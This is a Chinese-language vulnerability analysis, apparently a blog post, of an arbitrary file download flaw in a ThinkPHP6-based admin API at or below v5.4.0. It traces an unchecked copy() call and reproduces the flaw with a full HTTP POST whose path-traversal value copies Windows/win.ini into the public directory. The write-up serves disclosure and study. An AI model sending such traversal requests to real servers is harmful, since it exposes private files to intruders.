一、漏洞简介
app/adminapi/controller/v1/setting/SystemConfig.php路由中存在任意文件下载漏洞
二、影响版本
<= v5.4.0
三、环境搭建
配置phpstudy,将网站的运行目录,设置在public目录下 
设置伪静态 
四、漏洞原理分析
该系统采用前后端分离技术,基于ThinkPHP6+elementUI+Uni-app框架开发
首先我们查看路由,看到这是一个后台的任意文件下载,并且/adminapi/setting/config/save_basics路径会进去到 v1.setting.SystemConfig/save_basics 这个路径下 
受影响的代码在app/adminapi/controllerv1.setting.SystemConfig/save_basics.php文件的save_basics中
这里从请求中获取 POST 参数,然后遍历 POST 数据的每个键值对,k表示字段名,k 表示字段名,k表示字段名,v 表示字段值。
接着是一系列的判断,判断post参数是否存在这些,然后在weixin_ckeck_filepost参数中,存在copy函数,可以将文件进行复制的一个操作

接着跟踪代码,发现public_path就是在public目录,这里存在copy文件到public目录下的一个操作 
分析$to = public_path() . array_reverse(explode(‘/’, $post[‘weixin_ckeck_file’]))[0];这个代码,就是将字符串按 / 分割成一个数组,然后提取最后一个部分(就是文件名),然后拼接到public目录下
进行动调一下,看看是否和我们之前描述的一样。 
可以看到,结果就是我们所描述的那种。并且由于是thinkphp的框架,所以运行的目录也是在public目录下面。因此可以直接去访问那个文件,便可以进行下载文件。
五、漏洞复现
POST /adminapi/setting/config/save_basics HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Authori-zation:
Cookie: cb_lang=zh-cn;
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: application/json;charset=utf-8
Content-Length: 72
{
“weixin_ckeck_file”: “…/…/…/…/…/…/…/…/Windows/win.ini”
}

然后访问直接win.ini便可以下载win.ini文件 
六、总结
这是一个由于copy函数没有严格控制路径问题,导致存在一个任意文件下载的操作。

1690

被折叠的 条评论
为什么被折叠?



